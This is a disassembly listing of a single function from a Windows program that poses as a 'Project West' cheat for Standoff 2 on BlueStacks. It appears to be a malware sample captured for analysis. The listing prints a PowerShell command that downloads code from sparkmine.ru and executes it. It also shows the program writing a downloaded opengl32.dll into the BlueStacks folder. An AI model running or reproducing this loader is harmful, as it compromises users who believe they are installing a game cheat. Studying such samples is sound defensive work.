Function at 0x140011681
Capabilities:
Create http request
Create process on windows
Execute command
Get http content length
Read data from internet
Receive data
Set console window title
Terminate process

Disassembly:
jmp 0x14001cd90
push rbp
push rdi
mov eax, 0x1938
call fcn.1400111bd
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x4c2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002e040]
xor rax, rbp
mov qword [rbp + 0x18f0], rax
lea rcx, [0x1400350f9]
call fcn.140011956
nop
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
nop
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
nop
lea rcx, str.Project_West__NEW_CLIENT_Standoff_2
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
call fcn.1400118b1
nop
lea rcx, str.start_https:__t.me_projectwestNEW
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rdx, str.___Import_Cheat_to_BlueStacks_5
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011122
mov qword [rbp + 0x18e8], rax
lea rdx, [0x14001105f]
mov rcx, qword [rbp + 0x18e8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rdx, str.powershell__c_irm_sparkmine.ru_recent__iex
lea rcx, [rbp + 8]
call fcn.140011325
nop
lea rcx, [rbp + 8]
call fcn.140011334
mov qword [rbp + 0x48], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x48]
lea r8, str.powershell.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
test rax, rax
je 0x14001d222
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.My_Agent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14001cf04
lea rdx, str.____not_internet_connection.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011122
mov qword [rbp + 0x18e8], rax
lea rdx, [0x14001105f]
mov rcx, qword [rbp + 0x18e8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x1894], 1
lea rcx, [rbp + 8]
call fcn.14001182f
mov eax, dword [rbp + 0x1894]
jmp 0x14001d23e
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__sparkmine.ru_opengl32.dll
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x14001cf95
lea rdx, str.____error_URL
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011122
mov qword [rbp + 0x18e8], rax
lea rdx, [0x14001105f]
mov rcx, qword [rbp + 0x18e8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov dword [rbp + 0x18b4], 1
lea rcx, [rbp + 8]
call fcn.14001182f
mov eax, dword [rbp + 0x18b4]
jmp 0x14001d23e
mov dword [rbp + 0xa4], 0
mov dword [rbp + 0xc4], 4
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xc4]
lea r8, [rbp + 0xa4]
mov edx, 0x20000005
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x14001d03c
lea rdx, str.___Loading...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011122
mov qword [rbp + 0x18e8], rax
lea rdx, [0x14001105f]
mov rcx, qword [rbp + 0x18e8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov dword [rbp + 0x18d4], 1
lea rcx, [rbp + 8]
call fcn.14001182f
mov eax, dword [rbp + 0x18d4]
jmp 0x14001d23e
mov edx, 0x108
lea rcx, [rbp + 0xf0]
call fcn.1400113d4
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, str.C:Program_FilesBlueStacks_nxtopengl32.dll
lea rcx, [rbp + 0xf0]
call fcn.1400113b1
nop
mov dword [rbp + 0x1234], 0
mov dword [rbp + 0x1254], 0
lea rdx, [0x140029838]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011122
nop
lea r9, [rbp + 0x1234]
mov r8d, 0x1000
lea rdx, [rbp + 0x220]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14001d175
cmp dword [rbp + 0x1234], 0
jbe 0x14001d175
mov eax, dword [rbp + 0x1234]
mov r8d, eax
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
nop
mov eax, dword [rbp + 0x1234]
mov ecx, dword [rbp + 0x1254]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x1254], eax
mov eax, dword [rbp + 0x1254]
cvtsi2sd xmm0, rax
mov eax, dword [rbp + 0xa4]
cvtsi2sd xmm1, rax
divsd xmm0, xmm1
mulsd xmm0, qword [0x140029b88]
cvttsd2si eax, xmm0
mov dword [rbp + 0x1274], eax
lea rdx, [0x140029850]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011122
mov qword [rbp + 0x18e8], rax
mov edx, dword [rbp + 0x1274]
mov rcx, qword [rbp + 0x18e8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140029848]
mov rcx, rax
call fcn.140011122
nop
jmp 0x14001d09d
lea rdx, str._Done_Inject
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011122
mov qword [rbp + 0x18e8], rax
lea rdx, [0x14001105f]
mov rcx, qword [rbp + 0x18e8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rdx, [0x140029878]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011122
mov qword [rbp + 0x18e8], rax
lea rdx, [0x14001105f]
mov rcx, qword [rbp + 0x18e8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xf0]
call fcn.1400114f1
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov ecx, 0x8f0d180
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 0xf0]
call fcn.14001125d
nop
jmp 0x14001d22e
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp + 8]
call fcn.14001182f
nop
jmp 0x14001d23c
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140028310]
call fcn.1400117df
mov rax, rdi
mov rcx, qword [rbp + 0x18f0]
xor rcx, rbp
call fcn.1400114a1
lea rsp, [rbp + 0x1908]
pop rdi
pop rbp
ret